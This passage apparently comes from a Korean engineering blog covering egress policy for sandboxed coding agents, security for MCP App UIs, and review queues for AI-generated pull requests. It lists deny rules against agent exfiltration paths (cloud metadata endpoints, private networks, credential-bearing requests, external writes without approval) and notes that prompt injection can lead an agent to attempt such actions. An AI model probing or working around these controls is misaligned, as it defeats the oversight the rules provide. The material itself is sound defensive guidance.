• 외부 write action은 100% approval_id를 가진다.

이 정도 숫자가 있어야 보안 정책이 감이 아니라 운영 품질로 관리됩니다.

실패 모드별 대응 매트릭스

Egress policy는 차단 규칙 목록으로만 운영하면 오래가지 못합니다. 실제 운영에서는 “왜 막혔는지”, “누가 예외를 열 수 있는지”, “예외가 끝난 뒤 무엇을 지울지"가 같이 있어야 합니다. 아래처럼 실패 모드를 미리 나눠두면 보안팀과 플랫폼팀, 개발팀이 같은 언어로 대화하기 쉬워집니다.

이 매트릭스의 핵심은 차단을 “실패"로만 보지 않는 것입니다. 차단 이벤트는 정책이 실제로 작동했다는 신호이기도 합니다. 다만 같은 유형의 차단이 반복되면 개발자가 우회하기 시작하므로, 반복 이벤트는 둘 중 하나로 결론을 내야 합니다. 정말 필요한 작업이면 좁은 capability로 승격하고, 불필요하거나 위험한 작업이면 deny reason을 더 명확하게 보여줍니다.

예외 처리도 숫자로 관리하는 편이 좋습니다. 예를 들어 docs_read 예외는 30일, package_read 예외는 lockfile 갱신 주기까지, internal_read 예외는 incident 종료 시점까지, external_write 예외는 단일 실행으로 제한합니다. 만료 없는 예외는 시간이 지나면 사실상 기본 허용이 됩니다. 따라서 예외 목록에는 최소한 owner, reason, created_at, expires_at, last_used_at, linked_task가 있어야 합니다.

운영 대시보드도 화려할 필요는 없습니다. 첫 버전은 아래 5개만 보여줘도 충분합니다.

• 세션별 allow/deny 비율과 deny top reason
• capability별 bytes_out, bytes_in, unique host 수
• private CIDR·metadata endpoint 접근 시도 수
• approval_id 없는 external write 시도 수
• 만료 예정 또는 만료 지난 policy exception 수

이 지표가 있으면 “보안 때문에 느려졌다"와 “안전하게 필요한 만큼만 열었다"를 구분할 수 있습니다. 특히 에이전트 운영은 실패가 조용히 묻히면 다음에는 더 넓은 권한으로 재시도되는 경향이 있습니다. 그래서 차단 이벤트를 개발자 경험 안에 잘 설명하고, 필요한 예외 신청 경로를 짧게 만드는 것이 장기적으로 더 안전합니다.

트레이드오프/주의점

1) 너무 빨리 막으면 에이전트가 쓸모없어진다

개발 작업은 예외가 많습니다. 새 문서를 읽어야 하고, 새 패키지를 받아야 하고, CI 로그 링크를 따라가야 합니다. 모든 것을 deny하면 사용자는 결국 샌드박스를 우회하거나 더 넓은 권한의 로컬 환경으로 돌아갑니다. 그래서 처음에는 high-risk destination부터 막는 편이 낫습니다. metadata endpoint, private CIDR, 외부 POST, credential 포함 request는 즉시 차단하고, read-only docs fetch는 관측 후 제한합니다.

2) 너무 넓게 열면 샌드박스의 의미가 사라진다

반대로 *.github.com, *.amazonaws.com, * 같은 wildcard가 늘어나면 policy는 금방 무력화됩니다. wildcard는 owner, reason, expiry, last_seen을 요구하고 30~90일마다 재승인하는 편이 좋습니다. 특히 cloud storage wildcard는 데이터 유출 경로가 될 수 있으므로 read-only와 write를 분리해야 합니다.

3) BYOC나 사내 실행 환경은 책임도 같이 가져온다

에이전트를 조직의 VPC 안에서 실행하면 데이터 경계는 좋아질 수 있습니다. 하지만 그만큼 내부망 접근 위험도 커집니다. “우리 클라우드 안에서 도니까 안전하다"가 아니라, 우리 클라우드의 security group, route table, NAT, DNS, IAM 정책을 에이전트용으로 다시 설계해야 합니다. BYOC는 통제권을 주지만 기본값을 자동으로 안전하게 만들지는 않습니다.

4) 프롬프트 방어와 네트워크 방어를 혼동하지 않는다

prompt injection 탐지는 필요하지만 완전한 방어가 아닙니다. 모델이 악성 지시를 무시하길 기대하는 것보다, 설령 지시를 따르려 해도 네트워크가 막혀 있도록 만드는 편이 안전합니다. 좋은 구조는 “모델이 실수해도 egress policy가 막고, policy가 막은 이벤트를 감사 로그가 설명하는” 형태입니다.

체크리스트 또는 연습

운영 체크리스트

• 에이전트 세션의 outbound destination을 1~2주 관측했다.
• private CIDR, loopback, link-local, metadata endpoint는 기본 차단한다.
• package install은 proxy/mirror를 통해서만 허용한다.
• web fetch는 GET/HEAD만 허용하고 cookie/Authorization header를 제거한다.
• 내부 API는 직접 네트워크 접근이 아니라 service broker/tool을 통해 호출한다.
• 외부 POST/PUT/PATCH/DELETE는 approval_id 없이는 실패한다.
• policy manifest에는 owner, risk, capability, destination, method, expires_at이 있다.
• 세션별 egress byte budget과 unique host budget을 둔다.
• deny 이벤트는 session_id, policy_id, reason, trace_id로 추적 가능하다.
• policy 예외는 30~90일마다 재검토된다.

연습 문제

다음 상황을 가정해보세요.

팀이 백그라운드 코딩 에이전트에게 dependency update PR 생성을 맡기려 한다. 에이전트는 private repo를 읽고, 테스트를 실행하고, 필요한 패키지를 설치하고, PR을 열 수 있어야 한다. 운영 API나 사내 관리자 페이지에는 접근하면 안 된다.

권장 정책은 아래처럼 설계할 수 있습니다.

1. repo checkout과 작업 디렉터리 write는 허용하되, SSH key와 cloud credential은 mount하지 않는다.
2. npm/PyPI/Maven 접근은 package proxy로만 허용한다.
3. GitHub API는 해당 repo의 issue/branch/PR scope만 허용한다.
4. 외부 웹 fetch는 공식 docs allowlist 또는 broker GET으로만 허용한다.
5. private CIDR, metadata endpoint, 사내 admin domain은 네트워크 레벨에서 deny한다.
6. PR 생성은 허용하되 merge, release publish, 외부 메시지 전송은 승인 필요 action으로 둔다.
7. 세션 egress budget은 500MB, unique host는 20개, TTL은 2시간으로 시작한다.
8. lockfile 외 dependency 추가, postinstall script 실행, unknown binary download는 quarantine한다.

이 설계의 목적은 에이전트를 무력화하는 것이 아닙니다. 필요한 개발 작업은 하게 하되, 작업 범위를 벗어난 네트워크 행동이 사고로 이어지지 않게 만드는 것입니다. 앞으로 코딩 에이전트가 더 강해질수록 경쟁력은 “얼마나 많이 시키는가"보다 얼마나 좁은 권한으로 안전하게 시키는가에서 갈릴 가능성이 큽니다.

그래서 최근 눈에 띄는 흐름이 MCP Apps입니다. Model Context Protocol이 AI 애플리케이션과 외부 도구를 연결하는 표준 인터페이스라면, MCP Apps는 그 도구 결과를 대화 안에서 상호작용 가능한 UI로 보여주는 방향입니다. 공식 문서에서도 MCP Apps는 데이터 시각화, 폼, 대시보드 같은 HTML 인터페이스를 MCP host 안에 렌더링하는 방식으로 설명됩니다. 중요한 변화는 “채팅이 웹앱을 대체한다"가 아니라, 도구 호출·대화 맥락·사용자 선택이 같은 표면에서 만난다는 점입니다.

이 흐름은 이미 다뤘던 MCP 툴 호출 보안·거버넌스, Tool Permission Manifest, Context Freshness Budget, Background Agent Session과 이어집니다. 에이전트가 더 많은 일을 하게 될수록, 결과를 읽는 화면과 승인하는 화면도 단순 텍스트에서 벗어나야 합니다. 다만 UI가 붙는 순간 위험도도 올라갑니다. 버튼 하나가 실제 배포, 결제 취소, 권한 변경, 파일 삭제로 이어질 수 있기 때문입니다.

이 글에서 얻는 것

• MCP Apps가 기존 채팅 응답, 일반 웹앱, 개발자 포털과 어떻게 다른지 이해할 수 있습니다.
• conversation-native UI가 특히 효과적인 업무와 아직 도입하지 말아야 할 업무를 구분할 수 있습니다.
• MCP App을 만들 때 필요한 권한, CSP, sandbox, tool audit, 상태 관리 기준을 숫자와 단계로 잡을 수 있습니다.
• 읽기 전용 대시보드에서 승인 기반 쓰기 작업까지 안전하게 확장하는 도입 순서를 가져갈 수 있습니다.

핵심 개념/이슈

1) Conversation-Native UI는 링크가 아니라 맥락 안의 작업 표면이다

기존 방식은 에이전트가 “대시보드는 여기 링크를 보세요"라고 말하는 구조였습니다. 사용자는 새 탭을 열고, 다시 로그인하고, 방금 대화에서 어떤 조건을 골랐는지 기억해야 합니다. 반면 conversation-native UI는 대화가 만든 맥락 안에 화면을 렌더링합니다. 사용자는 채팅에서 “지난 24시간 에러율 보여줘"라고 요청하고, 바로 그 자리에서 차트를 보고, 특정 서비스를 클릭해 로그를 좁히고, 필요하면 후속 질문을 이어갈 수 있습니다.

이 차이는 작아 보이지만 실무에서는 큽니다. 특히 아래 작업은 텍스트만으로 처리하면 비용이 커집니다.

• 여러 설정값을 한 번에 비교하고 선택하는 배포 설정
• PR, 보안 경고, 장애 알림처럼 항목별 검토가 필요한 큐
• 로그·메트릭·트레이스처럼 시각화가 필요한 관측 데이터
• 결재, 승인, 예외 허용처럼 사용자의 명시적 선택이 필요한 업무
• 생성 이미지, PDF, 3D 모델, 테이블처럼 미리보기와 조작이 필요한 결과

이런 업무에서 UI는 예쁜 장식이 아닙니다. 오류를 줄이는 입력 장치입니다. 사용자가 자연어로 “적당히 설정해줘"라고 말하는 것보다, 기본값이 채워진 폼에서 timeout 2초, retry 2회, rollout 10%를 눈으로 확인하고 승인하는 편이 훨씬 안전합니다.

2) MCP Apps의 핵심은 UI보다 tool call 경계다

MCP Apps는 HTML을 렌더링할 수 있다는 점 때문에 프론트엔드 기술처럼 보일 수 있습니다. 하지만 운영 관점의 핵심은 UI가 어떤 도구를 호출할 수 있는지입니다. 앱 안의 버튼이 deploy_service, create_issue, query_database, send_message 같은 tool call로 이어진다면, 그 앱은 단순 화면이 아니라 권한을 가진 작업 표면입니다.

따라서 앱별로 최소 아래 정보를 명시해야 합니다.

App: incident-triage-panel
Owner: platform-sre
Allowed tools: query_metrics, fetch_logs, create_incident_note, propose_rollback
Denied tools: execute_rollback, edit_secrets, send_external_message
Action risk: read-only + proposal
External origins: https://static.example.com
Data retention: no local persistence, conversation-scoped state only
Audit: every tool call with user_id, app_id, tool_name, input_hash, result_status

이 구조는 Tool Permission Manifest와 Runtime Attestation의 직접적인 확장입니다. UI가 생기면 사용자는 더 쉽게 클릭하고, 더 쉽게 승인합니다. 그래서 권한 경계는 더 엄격해야 합니다.

3) Sandboxed iframe은 출발점이지 완성된 보안 모델이 아니다

MCP Apps는 일반적으로 host가 통제하는 sandboxed iframe 안에서 렌더링되는 방향을 갖습니다. iframe sandbox는 parent DOM 접근, 쿠키 탈취, 임의 navigation 같은 위험을 줄여줍니다. 하지만 iframe만으로 충분하다고 보면 안 됩니다. 앱은 여전히 postMessage를 통해 host와 통신하고, host를 통해 tool을 호출할 수 있습니다.

실무 체크포인트는 아래입니다.

• sandbox attribute에서 필요한 capability만 허용한다.
• CSP로 script, connect, image, frame origin을 제한한다.
• postMessage는 origin, schema, nonce를 검증한다.
• 앱이 요청할 수 있는 tool과 action을 allowlist로 제한한다.
• tool input은 UI에서 한 번, 서버에서 한 번 검증한다.
• 사용자 승인 전에는 destructive action을 호출하지 못하게 한다.
• 모든 tool call에 app_id, session_id, user_id, trace_id를 남긴다.

특히 외부 script를 넓게 허용하는 순간 위험이 커집니다. 내부 운영 앱이라도 script-src * 같은 설정은 피해야 합니다. 처음에는 self-hosted bundle과 제한된 static origin만 허용하는 편이 안전합니다.

4) 상태 관리는 대화 맥락과 앱 내부 상태를 분리해야 한다

대화형 UI가 어려운 이유는 상태가 여러 곳에 생기기 때문입니다. 모델의 대화 맥락, MCP server의 tool result, 앱 iframe 내부 state, 실제 backend resource state가 동시에 존재합니다. 이 상태들이 어긋나면 사용자는 오래된 화면을 보고 최신 작업을 승인할 수 있습니다.

예를 들어 배포 승인 앱에서 10분 전에는 canary error rate가 0.2%였지만 지금은 3%라면, 버튼은 자동으로 비활성화되어야 합니다. “아까 괜찮았다"는 맥락만 믿고 배포를 진행하면 안 됩니다. 이 문제는 Context Freshness Budget과 거의 같은 구조입니다.

권장 기준은 아래처럼 잡을 수 있습니다.

• 읽기 전용 데이터: freshness budget 1~5분
• 배포·장애·보안 판단 데이터: freshness budget 30~60초
• 결제·권한 변경 전 검증: 승인 직전 서버 재조회 필수
• 5분 이상 열린 앱: action 버튼 클릭 시 stale check 강제
• tool result 재사용: input hash와 resource version이 같을 때만 허용

대화 안에 UI가 있다고 해서 대화 내용이 항상 최신 사실은 아닙니다. UI는 마지막 순간에 서버 상태를 다시 확인해야 합니다.

5) 좋은 MCP App은 모델을 덜 똑똑하게 만들어도 안전해진다

흥미로운 점은 UI가 잘 설계되면 모델의 부담이 줄어든다는 것입니다. 모델이 모든 옵션을 기억하고 자연어로 묻고 답하는 대신, 앱이 유효한 선택지를 보여주고 잘못된 입력을 막습니다. 예를 들어 배포 폼에서 region, rollout percentage, rollback condition, owner를 명시적으로 선택하게 만들면 모델이 임의로 값을 만들어낼 여지가 줄어듭니다.

이것은 AI UX가 아니라 backend reliability 문제이기도 합니다. 사용자가 선택한 값은 구조화된 입력으로 tool에 전달되고, tool은 schema로 검증할 수 있습니다. Schema-Constrained Output + Runtime Validator 흐름이 UI까지 확장되는 셈입니다.

단, UI가 사용자를 과신하게 만들 수도 있습니다. 버튼과 카드가 있으면 시스템이 더 안전해 보입니다. 그래서 위험 작업에는 항상 근거, 영향 범위, rollback 조건을 함께 보여줘야 합니다. “Approve” 버튼만 있는 UI는 좋은 에이전트 UI가 아닙니다.

실무 적용

1) 첫 후보는 읽기 전용 대시보드나 리뷰 패널이다

MCP Apps를 처음 도입한다면 쓰기 작업부터 넣지 않는 편이 좋습니다. 가장 좋은 시작점은 읽기 전용이면서 텍스트보다 UI가 명확한 업무입니다.

추천 후보는 아래입니다.

• 장애 타임라인: 알림, 배포, 에러율, 로그 샘플을 한 화면에 표시
• PR 리뷰 패널: 변경 파일, 테스트 증거, 위험도, owner를 정리
• 보안 취약점 triage: CVE, 영향 패키지, exploitability, fix PR 상태 표시
• 비용 대시보드: 서비스별 AI/API 사용량과 budget burn 표시
• 배치 실행 결과: 성공/실패 row, 재처리 후보, DLQ 요약 표시

초기 성공 기준은 단순합니다. 사용자가 같은 정보를 보기 위해 채팅에 추가 질문을 3번 이상 해야 하던 업무를, UI 한 화면에서 1번 이하로 줄이면 효과가 있습니다. 반대로 텍스트 한 문장으로 충분한 결과에 UI를 붙이면 유지보수 비용만 늘어납니다.

2) Action risk를 네 단계로 나눈다

모든 버튼이 같은 위험도를 갖지 않습니다. 앱 설계 때 action을 아래 네 단계로 나누면 운영 기준을 잡기 쉽습니다.

처음 4주 동안은 read-only와 proposal까지만 허용하는 것을 추천합니다. 그다음 approval-required write를 일부 내부 업무에 열고, 최소 2주 동안 error rate, 취소율, support ticket을 봅니다. Autonomous write는 action 실패 비용이 낮고 되돌리기 쉬운 작업에만 제한해야 합니다.

3) MCP App 릴리스 게이트를 만든다

일반 웹앱 배포와 달리 MCP App은 LLM host, MCP server, tool permission, UI bundle이 함께 맞아야 합니다. 릴리스 체크는 아래를 포함해야 합니다.

1. UI bundle integrity: build hash, signed artifact, allowed origin
2. CSP/sandbox: script/connect/frame origin allowlist 확인
3. Tool manifest: allowed/denied tools, action risk, owner 명시
4. Schema test: UI -> host -> MCP server tool input 계약 검증
5. Permission test: denied tool call이 실제로 차단되는지 확인
6. Freshness test: stale data에서 write action이 막히는지 확인
7. Audit test: tool call 로그에 app_id/user_id/session_id/trace_id 존재
8. Rollback: app disable flag 또는 이전 UI resource로 되돌리는 절차

이 게이트는 Tool Contract Test와 Schema Canary와 같이 운영하면 좋습니다. UI가 예쁘게 떠도 tool schema가 바뀌면 실제 업무는 깨집니다. 반대로 tool은 정상인데 CSP가 막혀 UI가 빈 화면으로 뜰 수도 있습니다. 둘을 같이 테스트해야 합니다.

4) 승인 UX는 “무엇을 누르는가"보다 “무엇이 바뀌는가"를 보여줘야 한다

위험한 action의 승인 화면에는 최소 네 가지가 있어야 합니다.

1. 변경 대상: 서비스, 리소스, 고객, 파일, 권한
2. 변경 전/후: diff 또는 요약
3. 근거: 어떤 데이터와 시점 기준으로 추천했는가
4. 복구: 실패 시 rollback 또는 되돌리기 방법

예를 들어 배포 롤백 버튼이면 “rollback 실행"만 보여주면 부족합니다. 현재 버전, 되돌릴 버전, 영향 서비스, 예상 중단 시간, 최근 error rate, rollback 후 확인할 지표가 보여야 합니다. 사용자가 승인하는 것은 버튼이 아니라 변경입니다.

숫자 기준도 필요합니다.

• high-risk action은 승인 직전 데이터 freshness 60초 이하
• 운영 변경은 rollback note 필수
• 외부 전송/삭제/권한 변경은 2단계 확인 또는 별도 approval gate
• 같은 session에서 같은 destructive action 반복 시 rate limit 적용
• 실패한 action은 재시도 전 원인과 이전 requestId를 표시

5) 운영 지표는 UI 사용량보다 의사결정 품질을 본다

MCP App 도입 후 “몇 번 열렸는가"만 보면 안 됩니다. 중요한 것은 사용자가 더 안전하고 빠르게 결정했는지입니다.

초기 지표는 아래가 좋습니다.

• task completion time: 기존 채팅/웹앱 대비 얼마나 줄었는가
• clarification turns: 추가 질문 횟수가 줄었는가
• invalid input rate: schema validation 실패가 줄었는가
• stale action block count: 오래된 데이터 기반 action을 얼마나 막았는가
• approval cancel rate: 사용자가 UI에서 위험을 보고 취소한 비율
• post-action incident rate: 앱 action 이후 장애/티켓 발생률
• tool call denial rate: 권한 없는 호출 시도가 얼마나 차단됐는가

좋은 UI는 클릭 수를 늘리는 것이 아니라 잘못된 클릭을 줄입니다. 특히 approval cancel rate는 나쁜 지표가 아닐 수 있습니다. 사용자가 근거를 보고 위험한 작업을 취소했다면 UI가 제 역할을 한 것입니다.

트레이드오프/주의점

1) 모든 것을 채팅 안에 넣으면 더 복잡해진다

Conversation-native UI는 강력하지만 만능은 아닙니다. 장시간 머무는 복잡한 관리 화면, 대량 편집, 세밀한 권한 관리, 긴 데이터 탐색은 기존 웹앱이 더 낫습니다. MCP App은 대화 맥락과 tool call이 강하게 연결될 때 빛납니다.

도입 판단 기준은 단순하게 잡을 수 있습니다.

• 사용자가 대화에서 만든 조건을 그대로 UI에 반영해야 하면 MCP App 후보
• UI에서 선택한 값이 곧바로 에이전트 후속 작업으로 이어지면 MCP App 후보
• 독립적으로 몇 시간 동안 작업하는 화면이면 기존 웹앱 우선
• SEO, 공유 URL, 복잡한 사용자 권한 화면이 핵심이면 기존 웹앱 우선

즉, MCP Apps는 웹앱의 대체재라기보다 에이전트 작업 표면의 보강재입니다.

2) UI가 생기면 사용자는 더 쉽게 위험한 작업을 한다

텍스트 명령은 사용자가 한 번 더 생각하게 만들 때가 있습니다. 반면 버튼은 빠릅니다. 그래서 위험 작업을 버튼으로 만들 때는 의도적으로 마찰을 남겨야 합니다. 삭제, 외부 전송, 권한 확대, 배포, 비용 발생 작업은 한 번의 클릭으로 끝내지 않는 편이 안전합니다.

마찰은 나쁜 UX가 아닙니다. 위험한 작업에서는 좋은 UX입니다. 다만 모든 작업에 마찰을 넣으면 사용자는 우회합니다. read-only와 low-risk action은 빠르게, high-risk action은 느리게 만드는 구분이 필요합니다.

3) 앱 내부 상태가 감사 로그를 대체하면 안 된다

앱 화면에 “승인됨"이라고 표시되어도, 서버 측 audit log가 없으면 운영 증거가 아닙니다. MCP App은 iframe 안에서 실행되는 UI이고, 사용자의 브라우저 상태는 사라질 수 있습니다. 실제 감사 기준은 host와 server가 남긴 로그여야 합니다.

최소 감사 필드는 아래입니다.

timestamp, user_id, app_id, app_version, session_id,
tool_name, action_risk, input_hash, resource_version,
approval_id, result_status, trace_id, rollback_ref

이 로그가 없으면 사고 후 “누가 어떤 근거로 무엇을 실행했는가"를 복원하기 어렵습니다. Execution Receipt 관점으로 보면, MCP App action도 검증 가능한 작업 영수증을 남겨야 합니다.

4) 모델이 UI를 설명한다고 UI가 검증된 것은 아니다

에이전트가 “이 차트는 안전합니다"라고 말해도 실제 UI 데이터가 최신인지, tool input이 검증됐는지, 권한이 맞는지는 별개입니다. 모델 설명은 보조 정보입니다. 검증은 runtime이 해야 합니다.

그래서 중요한 action에는 model-generated summary보다 deterministic check를 우선해야 합니다. 예를 들어 “오류율이 낮으니 배포해도 됩니다"보다 error_rate_5m < 1%, rollback_ready = true, owner_approval = present, freshness_age < 60s 같은 체크가 필요합니다. 모델은 이 결과를 설명할 수 있지만, 결과를 대신해서는 안 됩니다.

체크리스트 또는 연습

도입 체크리스트

• 이 UI가 텍스트 응답보다 명확한 이유가 있다. 예: 표, 차트, 폼, diff, 승인 큐.
• 앱 owner, app_id, app_version, rollback 방법이 정의되어 있다.
• allowed tools와 denied tools가 manifest에 명시되어 있다.
• action risk가 read-only/proposal/approval/autonomous로 분류되어 있다.
• CSP와 sandbox 정책이 기본 deny에 가깝게 설정되어 있다.
• postMessage origin과 message schema 검증이 있다.
• stale data에서 위험 action이 막히는 freshness check가 있다.
• tool call audit log가 host/server 양쪽에서 남는다.
• UI bundle과 MCP server schema 변경을 함께 테스트한다.
• 외부 전송, 삭제, 권한 변경, 비용 발생 action은 별도 승인 게이트를 통과한다.

연습: 장애 triage MCP App 설계하기

상황을 가정해 봅시다. 팀은 장애가 날 때마다 에이전트에게 “최근 배포와 에러 로그를 요약해줘"라고 묻습니다. 에이전트는 매번 긴 텍스트를 반환하지만, 운영자는 결국 대시보드를 다시 열어 확인합니다. 이 업무는 MCP App 후보입니다.

처음 버전은 아래 범위로 제한하는 것이 좋습니다.

App: incident-triage-panel
Mode: read-only + proposal
Tools: query_metrics, fetch_logs, list_deployments, create_incident_note
Denied: rollback_service, edit_config, page_external_team
Freshness: metrics 60s, logs 120s, deployments 5m
Actions: create note only; rollback은 proposal text만 생성
Audit: all tool calls, all note creation

이렇게 시작하면 사용자는 채팅 안에서 최근 배포, 에러율, 대표 로그, 영향 서비스를 한눈에 볼 수 있습니다. 하지만 실제 rollback은 아직 하지 않습니다. 2주 동안 사용해 보고, 평균 triage 시간이 30% 이상 줄고, 잘못된 로그 링크나 stale 지표 문제가 거의 없으면 다음 단계로 갑니다. 다음 단계에서도 바로 rollback 버튼을 넣기보다 “rollback plan 생성"과 “사람 승인 요청"을 먼저 넣는 편이 안전합니다.

MCP Apps의 방향은 분명 흥미롭습니다. 하지만 이 트렌드의 핵심은 더 화려한 채팅 UI가 아닙니다. 에이전트가 실제 업무 표면으로 들어올수록, 팀은 UI·권한·상태·감사를 한 덩어리로 설계해야 합니다. 잘 만든 MCP App은 사용자를 더 빨리 클릭하게 만드는 도구가 아니라, 더 안전하게 판단하게 만드는 도구입니다.

그래서 요즘 개발 트렌드의 다음 축은 AI PR Review Backlog OS라고 봅니다. 이름은 거창하지만 본질은 단순합니다. AI가 만든 변경을 사람 리뷰어에게 바로 던지는 대신, 위험도·증거·소유권·병합 예산·롤백 가능성 기준으로 큐에 넣고 처리하는 운영 체계입니다. 이 흐름은 Background Agent Session, Task Graph Runtime, Review Ops, Test Evidence Pipeline에서 이어지는 자연스러운 다음 단계입니다. 에이전트가 작업을 많이 만들수록, 팀의 차이는 생성 능력이 아니라 큐 운영 능력에서 납니다.

이 글에서 얻는 것

• AI PR이 늘어날 때 왜 리뷰 대기열이 생산성 병목이 되는지 이해할 수 있습니다.
• PR을 위험도, 증거, 소유권, 병합 예산 기준으로 분류하는 실무 기준을 잡을 수 있습니다.
• 자동 병합을 성급하게 도입하기 전에 어떤 품질 게이트와 운영 지표가 필요한지 정리할 수 있습니다.

핵심 개념/이슈

1) PR 생성량은 생산성 지표가 아니다

AI 도구가 만든 PR 수는 보기 좋은 지표입니다. 하지만 팀 생산성에 더 가까운 지표는 “안전하게 병합된 변경 수"입니다. PR이 많이 열렸는데 리뷰가 밀리고, 수정 요청이 반복되고, merge 후 revert가 늘면 생산성은 오히려 떨어진 것입니다.

초기 지표는 아래처럼 바꾸는 편이 낫습니다.

기준 숫자는 팀마다 다르지만, 출발선은 잡을 수 있습니다. AI PR의 review wait p95가 2영업일을 넘고, revision count 평균이 2회 이상이며, revert rate가 사람 PR 대비 1.5배 이상이면 생성량을 늘릴 때가 아니라 큐 정책을 먼저 손봐야 합니다.

2) AI PR은 위험도별로 다른 큐에 들어가야 한다

사람이 만든 PR도 위험도가 다르듯, AI PR도 한 큐에 넣으면 안 됩니다. 문서 오탈자, 테스트 fixture 보강, 리팩터링, dependency update, 인증 로직 수정, DB migration은 전혀 다른 위험도를 가집니다. “AI가 만들었다"는 출처만으로는 리뷰 우선순위를 정할 수 없습니다.

실무 분류는 세 단계면 충분합니다.

• Low risk: 문서, 주석, 테스트 이름 변경, 작은 fixture 추가. 자동 체크 통과 시 빠른 리뷰 또는 제한적 자동 병합 후보.
• Medium risk: 비핵심 코드 리팩터링, 단일 모듈 버그 수정, 테스트 추가와 함께 온 작은 로직 변경. CODEOWNER 리뷰 필요.
• High risk: 인증/인가, 결제/정산, DB migration, 배포 스크립트, dependency lockfile, 보안 정책, cross-service contract 변경. 사람 설계 리뷰와 별도 증거 필요.

이 분류는 PR Risk Scoring과 Test Impact Analysis와 연결해야 효과가 큽니다. 단순 라벨이 아니라 변경 파일, 호출 경로, 테스트 커버리지, 배포 영향 범위를 보고 점수를 매겨야 합니다.

3) 증거 없는 PR은 리뷰 큐에 들어오면 안 된다

리뷰어 피로의 큰 원인은 “이 변경을 어떻게 판단해야 하는지"를 매번 리뷰어가 복원해야 한다는 점입니다. AI PR은 특히 그렇습니다. 그럴듯한 설명은 길지만, 실제로 어떤 테스트가 왜 필요한지, 실패하면 어떻게 되돌릴지 빠져 있는 경우가 많습니다.

AI PR 최소 패킷은 아래 네 가지입니다.

1. Change intent: 무엇을 고치고 무엇은 건드리지 않았는가
2. Impact path: 영향을 받는 모듈, API, 배치, 테이블, 설정
3. Evidence: 실행한 테스트, 실패 로그, 재현 입력, 스크린샷 또는 benchmark
4. Rollback note: revert만 하면 되는지, 데이터/설정 후속 조치가 필요한지

이 네 가지 중 하나라도 없으면 리뷰어가 보충 질문을 해야 하고, 그 순간 큐 처리량이 떨어집니다. 그래서 저는 AI PR에는 “리뷰 요청” 전에 증거 게이트를 두는 편이 맞다고 봅니다. 이 구조는 Test Evidence Pipeline의 직접적인 확장입니다.

4) Merge budget이 없으면 작은 PR도 배포 리스크를 만든다

AI가 작은 PR을 많이 만들면 한 건의 위험은 낮아 보입니다. 하지만 하루에 30개의 작은 변경이 같은 서비스에 들어가면, 배포·관측·롤백 비용은 작지 않습니다. 특히 에이전트 PR은 서로 독립처럼 보여도 같은 파일, 같은 테스트, 같은 설정을 건드릴 수 있습니다.

그래서 팀 단위 merge budget이 필요합니다.

• 서비스별 AI PR merge 한도: 하루 5~10건부터 시작
• high-risk PR: 하루 1~2건 또는 release window 제한
• 동일 모듈 연속 변경: 3건 이상이면 묶어서 owner review
• dependency/lockfile 변경: 별도 lane, 패키지 검증 후 병합
• 배포 후 관측 시간: 핵심 서비스는 병합 후 30~60분 안정화 확인

이 기준은 속도를 늦추기 위한 것이 아니라, 원인 추적성을 지키기 위한 것입니다. 한 번에 너무 많은 AI PR이 병합되면 회귀가 났을 때 어떤 변경이 원인인지 좁히기 어렵습니다. 배포 관점은 배포 런북과 같이 맞춰야 합니다.

5) Stale PR은 자동화 부채다

AI PR은 쉽게 생성되기 때문에 쉽게 방치됩니다. 생성된 PR이 일주일 넘게 열려 있으면 최신 main과 충돌하고, 테스트 환경이 바뀌고, 원래 의도도 흐려집니다. 사람 PR보다 더 적극적인 stale policy가 필요합니다.

권장 기준은 간단합니다.

• Low risk PR: 3영업일 이상 무응답이면 자동 close 후보
• Medium risk PR: 5영업일 이상 stale이면 rebase + evidence refresh 필요
• High risk PR: 2영업일 내 owner가 지정되지 않으면 backlog에서 제거 또는 재분류
• CI 실패 후 24시간 이상 수정 없음: agent 재시도 또는 close 중 하나로 결정

중요한 건 PR을 오래 열어두는 것이 “무료"가 아니라는 점입니다. 열린 PR은 리뷰어의 주의, merge queue, 테스트 자원, mental model을 계속 점유합니다.

실무 적용

1) AI PR Intake Form을 표준화한다

처음 할 일은 거대한 플랫폼 구축이 아닙니다. PR 템플릿을 바꾸는 것입니다. AI가 만든 PR이든 사람이 만든 PR이든 아래 필드를 강제하면 리뷰 품질이 바로 좋아집니다.

Change type: docs/test/refactor/bugfix/dependency/migration/security
Risk class: low/medium/high
Generated by: human/agent/mixed
Owner: @team or @person
Impact path: API, batch, DB, config, deployment
Evidence: test command + result + artifact link
Rollback: revert-only / config rollback / data migration required

AI 에이전트는 이 필드를 채우지 못하면 PR을 열지 말고 draft 상태로 남겨야 합니다. draft가 많아지는 것도 신호입니다. 에이전트가 코드를 만들 수는 있지만 운영 패킷을 만들지 못하고 있다는 뜻이기 때문입니다.

2) 큐 정책은 위험도와 SLA로 나눈다

리뷰 큐는 단순 FIFO보다 아래 순서가 낫습니다.

1. 장애/보안 hotfix
2. 배포 차단 이슈
3. high-risk + 명확한 owner + 충분한 evidence
4. medium-risk 기능/버그 수정
5. low-risk 반복 개선
6. stale 또는 evidence 누락 PR

FIFO가 공정해 보일 수 있지만, 실제로는 작은 자동 PR이 중요한 수정 앞을 막을 수 있습니다. 우선순위 큐가 있어야 리뷰어가 “무엇을 먼저 봐야 하는지"를 매번 고민하지 않습니다.

3) 자동 병합은 low-risk subset부터 시작한다

자동 병합은 매력적이지만, 초기에 넓게 열면 위험합니다. 시작 후보는 아래 정도가 안전합니다.

• 문서 오탈자, 내부 링크 수정, 테스트 설명 보강
• snapshot이 아닌 작은 test fixture 추가
• lint/format만 바뀐 변경
• CODEOWNERS가 명확하고 영향 범위가 단일 디렉터리인 변경

반대로 아래는 자동 병합 제외가 기본입니다.

• lockfile, package manager 설정, CI workflow 변경
• 인증/인가, 결제/정산, 데이터 삭제 경로
• DB migration, feature flag 기본값, 배포 manifest
• public API contract 또는 schema 변경

자동 병합 비율보다 중요한 건 자동 병합 후 회귀율입니다. 4주 이동창 기준 자동 병합 revert rate가 **0.5~1%**를 넘으면 범위를 줄이는 편이 낫습니다.

4) 리뷰어의 일을 “판단"에 집중시킨다

좋은 Backlog OS는 리뷰어가 문법과 포맷보다 위험 판단에 집중하게 만듭니다. 포맷, 테스트 명령 누락, 라벨, owner 지정은 자동화가 처리하고, 사람은 설계 의도·보안 경계·도메인 불변식·배포 위험을 봅니다.

리뷰 코멘트도 분류하면 좋습니다.

• missing-evidence: 증거 부족
• wrong-owner: 소유자 라우팅 오류
• risk-underestimated: 위험도 과소평가
• design-question: 설계 판단 필요
• nit/format: 자동화 후보

